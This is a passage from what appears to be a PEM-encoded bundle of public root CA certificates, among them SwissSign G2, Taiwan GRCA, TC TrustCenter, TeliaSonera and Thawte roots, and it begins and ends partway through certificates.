7JFe3VE/23MPrQRYCd0EApUKPtN236YQHoA96M2kZNEzx5LH4k5E4wnJTsJdhw4S
nr8PyQUQ3nqjsTzyP6WqJ3mtMX0f/fwZacXduT98zca0wjAefm6S139hdlqP65VN
vBFuIXxZN5nQBrz5Bm0yFqXZaajh3DyAHmBR3NdUIR7KYndP+tiPsys6DXhyyWhB
WkdKwqPrGtcKqzwyVcgKEZzfdNbwQBUdyLmPtTbFr/giuMod89a2GQ+fYWVq6nTI
fI/DT11lgh/ZDYnadXL77/FHZxOzyNEZiCcmmpl5fx7kLD977vHeTYuWl8PVP3wb
I+2ksx0WckNLIOFZfsLorSa/ovc=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFujCCA6KgAwIBAgIJALtAHEP1Xk+wMA0GCSqGSIb3DQEBBQUAMEUxCzAJBgNV
BAYTAkNIMRUwEwYDVQQKEwxTd2lzc1NpZ24gQUcxHzAdBgNVBAMTFlN3aXNzU2ln
biBHb2xkIENBIC0gRzIwHhcNMDYxMDI1MDgzMDM1WhcNMzYxMDI1MDgzMDM1WjBF
MQswCQYDVQQGEwJDSDEVMBMGA1UEChMMU3dpc3NTaWduIEFHMR8wHQYDVQQDExZT
d2lzc1NpZ24gR29sZCBDQSAtIEcyMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIIC
CgKCAgEAr+TufoskDhJuqVAtFkQ7kpJcyrhdhJJCEyq8ZVeCQD5XJM1QiyUqt2/8
76LQwB8CJEoTlo8jE+YoWACjR8cGp4QjK7u9lit/VcyLwVcfDmJlD909Vopz2q5+
bbqBHH5CjCA12UNNhPqE21Is8w4ndwtrvxEvcnifLtg+5hg3Wipy+dpikJKVyh+c
6bM8K8vzARO/Ws/BtQpgvd21mWRTuKCWs2/iJneRjOBiEAKfNA+k1ZIzUd6+jbqE
emA8atufK+ze3gE/bk3lUIbLtK/tREDFylqM2tIrfKjuvqblCqoOpd8FUrdVxyJd
MmqXl2MT28nbeTZ7hTpKxVKJ+STnnXepgv9VHKVxaSvRAiTysybUa9oEVeXBCsdt
MDeQKuSeFDNeFhdVxVu1yzSJkvGdJo+hB9TGsnhQ2wwMC3wLjEHXuendjIj3o02y
MszYF9rNt85mndT9Xv+9lz4pded+p2JYryU0pUHHPbwNUMoDAw8IWh+Vc3hiv69y
FGkOpeUDDniOJihC8AcLYiAQZzlG+qkDzAQ4embvIIO1jEpWjpEA/I5cgt6IoMPi
aG59je883WX0XaxR7ySArqpWl2/5rX3aYT+YdzylkbYcjCbaZaIJbcHiVOO5ykxM
gI93e2CaHt+28kgeDrpOVG2Y4OGiGqJ3UM/EY5LsRxmd6+ZrzsECAwEAAaOBrDCB
qTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUWyV7
lqRlUX64OfPAeGZe6Drn8O4wHwYDVR0jBBgwFoAUWyV7lqRlUX64OfPAeGZe6Drn
8O4wRgYDVR0gBD8wPTA7BglghXQBWQECAQEwLjAsBggrBgEFBQcCARYgaHR0cDov
L3JlcG9zaXRvcnkuc3dpc3NzaWduLmNvbS8wDQYJKoZIhvcNAQEFBQADggIBACe6
45R88a7A3hfm5djV9VSwg/S7zV4Fe0+fdWavPOhWfvxyeDgD2StiGwC5+OlgzczO
UYrHUDFu4Up+GC9pWbY9ZIEr44OE5iKHjn3g7gKZYbge9LgriBIWhMIxkziWMaa5
O1M/wySTVltpkuzFwbs4AOPsF6m43Md8AYOfMke6UiI0HTJ6CVanfCU2qT1L2sCC
bwq7EsiHSycR+R4tx5M/nttfJmtS2S6K8RTGRI0Vqbe/vd6mGu6uLftIdxf+u+yv
GPUqUfA5hJeVbG4bwyvEdGB5JbAKJ9/fXtI5z0V9QkvfsywexcZdylU6oJxpmo/a
77KwPJ+HbBIrZXAVUjEaJM9vMSNQH4xPjyPDdEFjHFWoFN0+4FFQz/EbMFYOkrCC
hdiDyyJkvC24JdVUorgG6q2SpCSgwYa1ShNqR88uC1aVVMvOmttqtKay20EIhid3
92qgQmwLOM7XdVAyksLfKzAiSNDVQTglXaTpXZ/GlHXQRf0wl0OPkKsKx4ZzYEpp
Ld6leNcG2mqeSz53OiATIgHQv2ieY2BrNU0LbbqhPcCT4H8js1WtciVORvnSFu+w
ZMEBnunKoGqYDs/YYPIvSbjkQuE4NRb0yG5P94FW6LqjviOvrv1vA+ACOzB2+htt
Qc8Bsem4yWb02ybzOqR08kkkW8mw0FfB+j564ZfJ
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFwTCCA6mgAwIBAgIITrIAZwwDXU8wDQYJKoZIhvcNAQEFBQAwSTELMAkGA1UE
BhMCQ0gxFTATBgNVBAoTDFN3aXNzU2lnbiBBRzEjMCEGA1UEAxMaU3dpc3NTaWdu
IFBsYXRpbnVtIENBIC0gRzIwHhcNMDYxMDI1MDgzNjAwWhcNMzYxMDI1MDgzNjAw
WjBJMQswCQYDVQQGEwJDSDEVMBMGA1UEChMMU3dpc3NTaWduIEFHMSMwIQYDVQQD
ExpTd2lzc1NpZ24gUGxhdGludW0gQ0EgLSBHMjCCAiIwDQYJKoZIhvcNAQEBBQAD
ggIPADCCAgoCggIBAMrfogLi2vj8Bxax3mCq3pZcZB/HL37PZ/pEQtZ2Y5Wu669y
IIpFR4ZieIbWIDkm9K6j/SPnpZy1IiEZtzeTIsBQnIJ71NUERFzLtMKfkr4k2Htn
IuJpX+UFeNSH2XFwMyVTtIc7KZAoNppVRDBopIOXfw0enHb/FZ1glwCNioUD7IC+
6ixuEFGSzH7VozPY1kneWCqv9hbrS3uQMpe5up1Y8fhXSQQeol0GcN1x2/ndi5ob
jM89o03Oy3z2u5yg+gnOI2Ky6Q0f4nIoj5+saCB9bzuohTEJfwvH6GXp43gOCWcw
izSC+13gzJ2BbWLuCB4ELE6b7P6pT1/9aXjvCR+htL/68++QHkwFix7qepF6w9fl
+zC8bBsQWJj3Gl/QKTIDE0ZNYWqFTFJ0LwYfexHihJfGmfNtf9dng34TaNhxKFrY
zt3oEBSa/m0jh26OWnA81Y0JAKeqvLAxN23IhBQeW71FYyBrS3SMvds6DsHPWhaP
pZjydomyExI7C3d3rLvlPClKknLKYRorXkzig3R3+jVIeoVNjZpTxN94ypeRSCtF
KwH3HBqi7Ri6Cr2D+m+8jVeTO9TUps4e8aCxzqv9KyiaTxvXw3LbpMS/XUz13XuW
ae5ogObnmLo2t/5u7Su9IPhlGdpVCX4l3P5hYnL5fhgC72O00Puv5TtjjGePAgMB
AAGjgawwgakwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0O
BBYEFFCvzAeHFUdvOMW0ZdHelarp35zMMB8GA1UdIwQYMBaAFFCvzAeHFUdvOMW0
ZdHelarp35zMMEYGA1UdIAQ/MD0wOwYJYIV0AVkBAQEBMC4wLAYIKwYBBQUHAgEW
IGh0dHA6Ly9yZXBvc2l0b3J5LnN3aXNzc2lnbi5jb20vMA0GCSqGSIb3DQEBBQUA
A4ICAQAIhab1Fgz8RBrBY+D5VUYI/HAcQiiWjrfFwUF1TglxeeVtlspLpYhg0DB0
uMoI3LQwnkAHFmtllXcBrqS3NQuB2nEVqXQXOHtYyvkv+8Bldo1bAbl93oI9ZLi+
FHSjClTTLJUYFzX1UWs/j6KWYTl4a0vlpqD4U99REJNi54Av4tHgvI42Rncz7Lj7
jposiU0xEQ8mngS7twSNC/K5/FqdOxa3L8iYq/6KUFkuozv8KV2LwUvJ4ooTHbG/
u0IdUt1O2BReEMYxB+9xJ/cbOQncguqLs5WGXv312l0xpuAxtpTmREl0xRbl9x8D
YSjFyMsSoEJL+WuICI20MhjzdZ/EfwBPBZWcoxcCw7NTm6ogOSkrZvqdr16zktK1
puEa+S1BaYEUtLS17Yk9zvupnTVCRLEcFHOBzyoBNZox1S2PbYTfgE1X4z/FhHXa
icYwu+uPyyIIoK6q8QNsOktNCaUOcsZWayFCTiMlFGiudgp8DAdwZPmaL/YFOSbG
DI8Zf0NebvRbFS/bYV3mZy8/CJT5YLSYMdp08YSTcU1f+2BY0fvEwW2JorsgH51x
kcsymxM9Pn2SUjWskpSi0xjCfMfqr3YFFt1nJ8J+HAciIfNAChs0B0QTwoRqjt8Z
Wr9/6x3iGjjRXK9HkmuAtTClyY3YqzGBH9/CZjfTk6mFhnll0g==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFvTCCA6WgAwIBAgIITxvUL1S7L0swDQYJKoZIhvcNAQEFBQAwRzELMAkGA1UE
BhMCQ0gxFTATBgNVBAoTDFN3aXNzU2lnbiBBRzEhMB8GA1UEAxMYU3dpc3NTaWdu
IFNpbHZlciBDQSAtIEcyMB4XDTA2MTAyNTA4MzI0NloXDTM2MTAyNTA4MzI0Nlow
RzELMAkGA1UEBhMCQ0gxFTATBgNVBAoTDFN3aXNzU2lnbiBBRzEhMB8GA1UEAxMY
U3dpc3NTaWduIFNpbHZlciBDQSAtIEcyMIICIjANBgkqhkiG9w0BAQEFAAOCAg8A
MIICCgKCAgEAxPGHf9N4Mfc4yfjDmUO8x/e8N+dOcbpLj6VzHVxumK4DV644N0Mv
Fz0fyM5oEMF4rhkDKxD6LHmD9ui5aLlV8gREpzn5/ASLHvGiTSf5YXu6t+WiE7br
YT7QbNHm+/pe7R20nqA1W6GSy/BJkv6FCgU+5tkL4k+73JU3/JHpMjUi0R86TieF
nbAVlDLaYQ1HTWBCrpJH6INaUFjpiou5XaHc3ZlKHzZnu0jkg7Y360g6rw9njxcH
6ATK72oxh9TAtvmUcXtnZLi2kUpCe2UuMGoM9ZDulebyzYLs2aFK7PayS+VFheZt
eJMELpyCbTapxDFkH4aDCyr0NQp4yVXPQbBH6TCfmb5hqAaEuSh6XzjZG6k4sIN/
c8HDO0gqgg8hm7jMqDXDhBuDsz6+pJVpATqJAHgE2cn0mRmrVn5bi4Y5FZGkECwJ
MoBgs5PAKrYYC51+jUnyEEp/+dVGLxmSo5mnJqy7jDzmDrxHB9xzUfFwZC8I+bRH
HTBsROopN4WSaGa8gzj+ezku01DwH/teYLappvonQfGbGHLy9YR0SslnxFSuSGTf
jNFusB3hB48IHpmccelM2KX3RxIfdNFRnobzwqIjQAtz20um53MGjMGg6cFZrEb6
5i/4z3GcRm25xBWNOHkDRUjvxF3XCO6HOSKGsg0PWEP3calILv3q1h8CAwEAAaOB
rDCBqTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU
F6DNweRBtjpbO8tFnb0cwpj6hlgwHwYDVR0jBBgwFoAUF6DNweRBtjpbO8tFnb0c
wpj6hlgwRgYDVR0gBD8wPTA7BglghXQBWQEDAQEwLjAsBggrBgEFBQcCARYgaHR0
cDovL3JlcG9zaXRvcnkuc3dpc3NzaWduLmNvbS8wDQYJKoZIhvcNAQEFBQADggIB
AHPGgeAn0i0P4JUw4ppBf1AsX19iYamGamkYDHRJ1l2E6kFSGG9YrVBWIGrGvShp
WJHckRE1qTodvBqlYJ7YH39FkWnZfrt4csEGDyrOj4VwYaygzQu4OSlWhDJOhrs9
xCrZ1x9y7v5RoSJBsXECYxqCsGKrXlcSH9/L3XWgwF15kIwb4FDm3jH+mHtwX6WQ
2K34ArZv02DdQEsixT2tOnqfGhpHkXkzuoLcMmkDlm4fS/Bx/uNncqCxv1yL5PqZ
IseEuRuNI5c/7SXgz2W79WEE790eslpBIlqhn10s6FvJbakMDHiqYMZWjwFaDGi8
aRl5xB9+lwW/xekkUV7U1UtT7dkjWjYDZaPBA61BMPNGG4WQr2W11bHkFlt4dR2X
em1ZqSqPe97Dh4kQmUlzeMg9vVE1dCrV8X5pGyq7O70luJpaPXJhkGaH7gzWTdQR
dAtq/gsD/KNVV4n+SsuuWxcFyPKNIzFTONItaj+CuY0IavdeQXRuwxF+B6wpYJE/
OMpXEA29MC/HpeZBoNquBYeaoKRlbEwJDIm6uNO5wJOKMPqN5ZprFQFOZ6raYlY+
hAhm0sQ2fac+EPyI4NSA5QC9qvNOBqN6avlicuMJT+ubDgEj8Z+7fNzcbBGXJbLy
tGMU0gYqZ4yD9c7qB9iaah7s5Aq7KkzrCWA5zspi2C5u
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFcjCCA1qgAwIBAgIQH51ZWtcvwgZEpYAIaeNe9jANBgkqhkiG9w0BAQUFADA/
MQswCQYDVQQGEwJUVzEwMC4GA1UECgwnR292ZXJubWVudCBSb290IENlcnRpZmlj
YXRpb24gQXV0aG9yaXR5MB4XDTAyMTIwNTEzMjMzM1oXDTMyMTIwNTEzMjMzM1ow
PzELMAkGA1UEBhMCVFcxMDAuBgNVBAoMJ0dvdmVybm1lbnQgUm9vdCBDZXJ0aWZp
Y2F0aW9uIEF1dGhvcml0eTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
AJoluOzMonWoe/fOW1mKydGGEghU7Jzy50b2iPN86aXfTEc2pBsBHH8eV4qNw8XR
IePaJD9IK/ufLqGU5ywck9G/GwGHU5nOp/UKIXZ3/6m3xnOUT0b3EEk3+qhZSV1q
gQdW8or5BtD3cCJNtLdBuTK4sfCxw5w/cP1T3YGq2GN49thTbqGsaoQkclSGxtKy
yhwOeYHWtXBiCAEuTk8O1RGvqa/lmr/czIdtJuTJV6L7lvnM4T9TjGxMfptTCAts
F/tnyMKtsc2AtJfcdgEWFelq16TheEfOhtX7MfP6Mb40qij7cEwdScevLJ1tZqa2
jWR+tSBqnTuBto9AAGdLiYa4zGX+FVPpBMHWXx1E1wovJ5pGfaENda1UhhXcSTvx
ls4Pm6Dso3pdvtUqdULle96ltqqvKKyskKw4t9VoNSZ63Pc78/1Fm9G7Q3hub/FC
VGqY8A2tl+lSXunVanLeavcbYBT0peS2cWeqH+riTcFCQP5nRhc4L0c/cZyu5SHK
YS1tB6iEfC3uUSXxY5Ce/eFXiGvviiNtsea9P63RPZYLhY3Naye7twWb7LuRqQoH
EgKXTiCQ8P8NHuJBO9NAOueNXdpm5AKwB1KYXA6OM5zCppX7VRluTI6uSw+9wThN
Xo+EHWbNxWCWtFJaBYmOlXqYwZE8lSOyDvR5tMl8wUohAgMBAAGjajBoMB0GA1Ud
DgQWBBTMzO/MKWCkO7GStjz6MmKPrCUVOzAMBgNVHRMEBTADAQH/MDkGBGcqBwAE
MTAvMC0CAQAwCQYFKw4DAhoFADAHBgVnKgMAAAQUA5vwIhP/lSg209yewDL7MTqK
UWUwDQYJKoZIhvcNAQEFBQADggIBAECASvomyc5eMN1PhnR2WPWus4MzeKR6dBcZ
TulStbngCnRiqmjKeKBMmo4sIy7VahIkv9Ro04rQ2JyftB8M3jh+Vzj8jeJPXgyf
qzvS/3WXy6TjZwj/5cAWtUgBfen5Cv8b5Wppv3ghqMKnI6mGq3ZW6A4M9hPdKmaK
ZEk9GhiHkASfQlK3T8v+R0F2Ne//AHY2RTKbxkaFXeIksB7jSJaYV0eUVXoPQbFE
JPPB/hprv4j9wabak2BegUqZIJxIZhm1AHlUD7gsL0u8qV1bYH+Mh6XgUmMqvtg7
hUAV/h62ZT/FS9p+tXo1KaMuephgIqP0fSdOLeq0dDzpD6QzDxARvBMB1uUO07+1
EqLhRSPAzAhuYbeJq4PjJB7mXQfnHyA+z2fI56wwbSdLaG5LKlwCCDTb+HbkZ6Mm
nD+iMsJKxYEYMRBWqoTvLQr/uB930r+lWKBi5NdLkXWNiYCYfm3LU05er/ayl4WX
udpVBrkk7tfGOB5jGxI7leFYrPLfhNVfmS8NVVvmONsuP3LpSIXLuykTjx44Vbnz
ssQwmSNOXfJIoRIM3BKQCZBUkQM8R+XVyWXgt0t97EfTsws+rZ7QdAAO671RrcDe
LMDDav7v3Aun+kbfYNucpllQdSNpc5Oy+fwC00fmcc4QAu4njIT/rEUNE1yDMuAl
pYYsfPQS
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEqjCCA5KgAwIBAgIOLmoAAQACH9dSISwRXDswDQYJKoZIhvcNAQEFBQAwdjEL
MAkGA1UEBhMCREUxHDAaBgNVBAoTE1RDIFRydXN0Q2VudGVyIEdtYkgxIjAgBgNV
BAsTGVRDIFRydXN0Q2VudGVyIENsYXNzIDIgQ0ExJTAjBgNVBAMTHFRDIFRydXN0
Q2VudGVyIENsYXNzIDIgQ0EgSUkwHhcNMDYwMTEyMTQzODQzWhcNMjUxMjMxMjI1
OTU5WjB2MQswCQYDVQQGEwJERTEcMBoGA1UEChMTVEMgVHJ1c3RDZW50ZXIgR21i
SDEiMCAGA1UECxMZVEMgVHJ1c3RDZW50ZXIgQ2xhc3MgMiBDQTElMCMGA1UEAxMc
VEMgVHJ1c3RDZW50ZXIgQ2xhc3MgMiBDQSBJSTCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAKuAh5uO8MN8h9foJIIRszzdQ2Lu+MNF2ujhoF/RKrLqk2jf
tMjWQ+nEdVl//OEd+DFwIxuInie5e/060smp6RQvkL4DUsFJzfb95AhmC1eKokKg
uNV/aVyQMrKXDcpK3EY+AlWJU+MaWss2xgdW94zPEfRMuzBwBJWl9jmM/XOBCH2J
XjIeIqkiRUuwZi4wzJ9l/fzLganx4Duvo4bRierERXlQXa7pIXSSTYtZgo+U4+lK
8edJsBTj9WLL1XK9H7nSn6DNqPoByNkN39r8R52zyFTfSUrxIan+GE7uSNQZu+99
5OKdy1u2bv/jzVrndIIFuoAlOMvkaZ6vQaoahPUCAwEAAaOCATQwggEwMA8GA1Ud
EwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBTjq1RMgKHbVkO3
kUrL84J6E1wIqzCB7QYDVR0fBIHlMIHiMIHfoIHcoIHZhjVodHRwOi8vd3d3LnRy
dXN0Y2VudGVyLmRlL2NybC92Mi90Y19jbGFzc18yX2NhX0lJLmNybIaBn2xkYXA6
Ly93d3cudHJ1c3RjZW50ZXIuZGUvQ049VEMlMjBUcnVzdENlbnRlciUyMENsYXNz
JTIwMiUyMENBJTIwSUksTz1UQyUyMFRydXN0Q2VudGVyJTIwR21iSCxPVT1yb290
Y2VydHMsREM9dHJ1c3RjZW50ZXIsREM9ZGU/Y2VydGlmaWNhdGVSZXZvY2F0aW9u
TGlzdD9iYXNlPzANBgkqhkiG9w0BAQUFAAOCAQEAjNfffu4bgBCzg/XbEeprS6iS
GNn3Bzn1LL4GdXpoUxUc6krtXvwjshOg0wn/9vYua0Fxec3ibf2uWWuFHbhOIprt
ZjluS5TmVfwLG4t3wVMTZonZKNaL80VKY7f9ewthXbhtvsPcW3nS7Yblok2+XnR8
au0WOB9/WIFaGusyiC2y8zl3gK9etmF1KdsjTYjKUCjLhdLTEKJZbtOTVAB6okaV
hgWcqRmY5TFyDADiZ9lA4CQze28suVyrZZ0srHbqNZn1l7kPJOzHdiEoZa5X6AeI
dUpWoNIFOqTmjZKILPPy4cHGYdtBxceb9w4aUUXCYWvcZCcXjFq32nQozZfkvQ==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEqjCCA5KgAwIBAgIOSkcAAQAC5aBd1j8AUb8wDQYJKoZIhvcNAQEFBQAwdjEL
MAkGA1UEBhMCREUxHDAaBgNVBAoTE1RDIFRydXN0Q2VudGVyIEdtYkgxIjAgBgNV
BAsTGVRDIFRydXN0Q2VudGVyIENsYXNzIDMgQ0ExJTAjBgNVBAMTHFRDIFRydXN0
Q2VudGVyIENsYXNzIDMgQ0EgSUkwHhcNMDYwMTEyMTQ0MTU3WhcNMjUxMjMxMjI1
OTU5WjB2MQswCQYDVQQGEwJERTEcMBoGA1UEChMTVEMgVHJ1c3RDZW50ZXIgR21i
SDEiMCAGA1UECxMZVEMgVHJ1c3RDZW50ZXIgQ2xhc3MgMyBDQTElMCMGA1UEAxMc
VEMgVHJ1c3RDZW50ZXIgQ2xhc3MgMyBDQSBJSTCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBALTgu1G7OVyLBMVMeRwjhjEQY0NVJz/GRcekPewJDRoeIMJW
Ht4bNwcwIi9v8Qbxq63WyKthoy9DxLCyLfzDlml7forkzMA5EpBCYMnMNWju2l+Q
Vl/NHE1bWEnrDgFPZPosPIlY2C8u4rBo6SI7dYnWRBpl8huXJh0obazovVkdKyT2
1oQDZogkAHhg8fir/gKya/si+zXmFtGt9i4S5Po1auUZuV3bOx4a+9P/FRQI2Alq
ukWdFHlgfa9Aigdzs5OW03Q0jTo3Kd5c7PXuLjHCINy+8U9/I1LZW+Jk2ZyqBwi1
Rb3R0DHBq1SfqdLDYmAD8bs5SpJKPQq5ncWg/jcCAwEAAaOCATQwggEwMA8GA1Ud
EwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBTUovyfs8PYA9NX
XAek0CSnwPIA1DCB7QYDVR0fBIHlMIHiMIHfoIHcoIHZhjVodHRwOi8vd3d3LnRy
dXN0Y2VudGVyLmRlL2NybC92Mi90Y19jbGFzc18zX2NhX0lJLmNybIaBn2xkYXA6
Ly93d3cudHJ1c3RjZW50ZXIuZGUvQ049VEMlMjBUcnVzdENlbnRlciUyMENsYXNz
JTIwMyUyMENBJTIwSUksTz1UQyUyMFRydXN0Q2VudGVyJTIwR21iSCxPVT1yb290
Y2VydHMsREM9dHJ1c3RjZW50ZXIsREM9ZGU/Y2VydGlmaWNhdGVSZXZvY2F0aW9u
TGlzdD9iYXNlPzANBgkqhkiG9w0BAQUFAAOCAQEANmDkcPcGIEPZIxpC8vijsrlN
irTzwppVMXzEO2eatN9NDoqTSheLG43KieHPOh6sHfGcMrSOWXaiQYUlN6AT0PV8
TtXqluJucsG7Kv5sbviRmEb8yRtXW+rIGjs/sFGYPAfaLFkB2otE6OF0/ado3VS6
g0bsyEa1+K+XwDsJHI/OcpY9M1ZwvJbL2NV9IJqDnxrcOfHFcqMRA/07QlIp2+gB
95tejNaNhk4Z+rwcvsUhpYeeeC422wlxo3I0+GzjBgnyXlal092Y+tTmBvTwtiBj
S+opvaqCZh77gaqnN60TGOaSw4HBM7uIHqHn4rS9MWwOUT1v+5ZWgOI2F9Hc5A==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIID3TCCAsWgAwIBAgIOHaIAAQAC7LdggHiNtgYwDQYJKoZIhvcNAQEFBQAweTEL
MAkGA1UEBhMCREUxHDAaBgNVBAoTE1RDIFRydXN0Q2VudGVyIEdtYkgxJDAiBgNV
BAsTG1RDIFRydXN0Q2VudGVyIFVuaXZlcnNhbCBDQTEmMCQGA1UEAxMdVEMgVHJ1
c3RDZW50ZXIgVW5pdmVyc2FsIENBIEkwHhcNMDYwMzIyMTU1NDI4WhcNMjUxMjMx
MjI1OTU5WjB5MQswCQYDVQQGEwJERTEcMBoGA1UEChMTVEMgVHJ1c3RDZW50ZXIg
R21iSDEkMCIGA1UECxMbVEMgVHJ1c3RDZW50ZXIgVW5pdmVyc2FsIENBMSYwJAYD
VQQDEx1UQyBUcnVzdENlbnRlciBVbml2ZXJzYWwgQ0EgSTCCASIwDQYJKoZIhvcN
AQEBBQADggEPADCCAQoCggEBAKR3I5ZEr5D0MacQ9CaHnPM42Q9e3s9B6DGtxnSR
JJZ4Hgmgm5qVSkr1YnwCqMqs+1oEdjneX/H5s7/zA1hV0qq34wQi0fiU2iIIAI3T
fCZdzHd55yx4Oagmcw6iXSVphU9VDprvxrlE4Vc93x9UIuVvZaozhDrzznq+VZeu
jRIPFDPiUHDDSYcTvFHe15gSWu86gzOSBnWLknwSaHtwag+1m7Z3W0hZneTvWq3z
wZ7U10VOylY0Ibw+F1tvdwxIAUMpsN0/lm7mlaoMwCC2/T42J5zjXM9OgdwZu5GQ
fezmlwQek8wiSdeXhrYTCjxDI3d+8NzmzSQfO4ObNDqDNOMCAwEAAaNjMGEwHwYD
VR0jBBgwFoAUkqR1LKSevoFE63n8isWVpesQdXMwDwYDVR0TAQH/BAUwAwEB/zAO
BgNVHQ8BAf8EBAMCAYYwHQYDVR0OBBYEFJKkdSyknr6BROt5/IrFlaXrEHVzMA0G
CSqGSIb3DQEBBQUAA4IBAQAo0uCG1eb4e/CX3CJrO5UUVg8RMKWaTzqwOuAGy2X1
7caXJ/4l8lfmXpWMPmRgFVp/Lw0BxbFg/UU1z/CyvwbZ71q+s2IhtNerNXxTPqYn
8aEt2hojnczd7Dwtnic0XQ/CNnm8yUpiLe1r2X1BQ3y2qsrtYbE3ghUJGooWMNjs
ydZHcnhLEEYUjl8Or+zHL6sQ17bxbuyGssLoDZJz3KL0Dzq/YSMQiZxIQG5wALPT
ujdEWBF6AmqI8Dc08BnprNRlc/ZpjGSUOnmFKbAWKwyCPwacx/0QK54PLLae4xW/
2TYcuiUaUj0a7CIMHOCkoj3w6DnPgcB77V0fb8XQC9eY
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFODCCAyCgAwIBAgIRAJW+FqD3LkbxezmCcvqLzZYwDQYJKoZIhvcNAQEFBQAw
NzEUMBIGA1UECgwLVGVsaWFTb25lcmExHzAdBgNVBAMMFlRlbGlhU29uZXJhIFJv
b3QgQ0EgdjEwHhcNMDcxMDE4MTIwMDUwWhcNMzIxMDE4MTIwMDUwWjA3MRQwEgYD
VQQKDAtUZWxpYVNvbmVyYTEfMB0GA1UEAwwWVGVsaWFTb25lcmEgUm9vdCBDQSB2
MTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMK+6yfwIaPzaSZVfp3F
VRaRXP3vIb9TgHot0pGMYzHw7CTww6XScnwQbfQ3t+XmfHnqjLWCi65ItqwA3GV1
7CpNX8GH9SBlK4GoRz6JI5UwFpB/6FcHSOcZrr9FZ7E3GwYq/t75rH2D+1665I+X
Z75Ljo1kB1c4VWk0Nj0TSO9P4tNmHqTPGrdeNjPUtAa9GAH9d4RQAEX1jF3oI7x+
/jXh7VB7qTCNGdMJjmhnXb88lxhTuylixcpecsHHltTbLaC0H2kD7OriUPEMPPCs
81Mt8Bz17Ww5OXOAFshSsCPN4D7c3TxHoLs1iuKYaIu+5b9y7tL6pe0S7fyYGKkm
dtwoSxAgHNN/Fnct7W+A90m7UwW7XWjH1Mh1Fj+JWov3F0fUTPHSiXk+TT2YqGHe
Oh7S+F4D4MHJHIzTjU3TlTazN19jY5szFPAtJmtTfImMMsJu7D0hADnJoWjiUIMu
sDor8zagrC/kb2HCUQk5PotTubtn2txTuXZZNp1D5SDgPTJghSJRt8czu90VL6R4
pgd7gUY2BIbdeTXHlSw7sKMXNeVzH7RcWe/a6hBle3rQf5+ztCo3O3CLm1u5K7fs
slESl1MpWtTwEhDcTwK7EpIvYtQ/aUN8Ddb8WHUBiJ1YFkveupD/RwGJBmr2X7KQ
arMCpgKIv7NHfirZ1fpoeDVNAgMBAAGjPzA9MA8GA1UdEwEB/wQFMAMBAf8wCwYD
VR0PBAQDAgEGMB0GA1UdDgQWBBTwj1k4ALP1j5qWDNXr+nuqF+gTEjANBgkqhkiG
9w0BAQUFAAOCAgEAvuRcYk4k9AwI//DTDGjkk0kiP0Qnb7tt3oNmzqjMDfz1mgbl
dxSR651Be5kqhOX//CHBXfDkH1e3damhXwIm/9fH907eT/j3HEbAek9ALCI18Bmx
0GtnLLCo4MBANzX2hFxc469CeP6nyQ1Q6g2EdvZR74NTxnr/DlZJLo961gzmJ1Tj
TQpgcmLNkQfWpb/ImWvtxBnmq0wROMVvMeJuScg/doAmAyYp4Db29iBT4xdwNBed
Y2gea+zDTYa4EzAvXUYNR0PVG6pZDrlcjQZIrXSHX8f8MVRBE+LHIQ6e4B4N4cB7
Q4WQxYpYxmUKeFfyxiMPAdkgS94P+5KFdSpcc41teyWRyu5FrgZLAMzTsVlQ2jqI
OylDRl6XK1TOU2+NSueW+r9xDkKLfP0ooNBIytrEgUy7onOTJsjrDNYmiLbAJM+7
vVvrdX3pCI6GMyx5dwlppYn8s3CQh3aP0yK7Qs69cwsgJirQmz1wHiRszYd2qReW
t88NkvuOGKmYSdGe/mBEciG5Ge3C9THxOUiIkCR1VBatzvT4aRRkOfujuLpwQMcn
HL/EVlP6Y2XQ8xwOFvVrhlhNGNTkDY6lnVuR3HYkUD/GKvvZt5y11ubQ2egZixVx
SK236thZiNSQvxaz2emsWWFUyBy6ysHK4bkgTI86k4mloMy/0/Z1pHWWbVY=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDNjCCAp+gAwIBAgIQNhIilsXjOKUgodJfTNcJVDANBgkqhkiG9w0BAQUFADCB
zjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJ
Q2FwZSBUb3duMR0wGwYDVQQKExRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UE
CxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAxMYVGhh
d3RlIFByZW1pdW0gU2VydmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNl
cnZlckB0aGF3dGUuY29tMB4XDTk2MDgwMTAwMDAwMFoXDTIxMDEwMTIzNTk1OVow
gc4xCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcT
CUNhcGUgVG93bjEdMBsGA1UEChMUVGhhd3RlIENvbnN1bHRpbmcgY2MxKDAmBgNV
BAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24xITAfBgNVBAMTGFRo
YXd0ZSBQcmVtaXVtIFNlcnZlciBDQTEoMCYGCSqGSIb3DQEJARYZcHJlbWl1bS1z
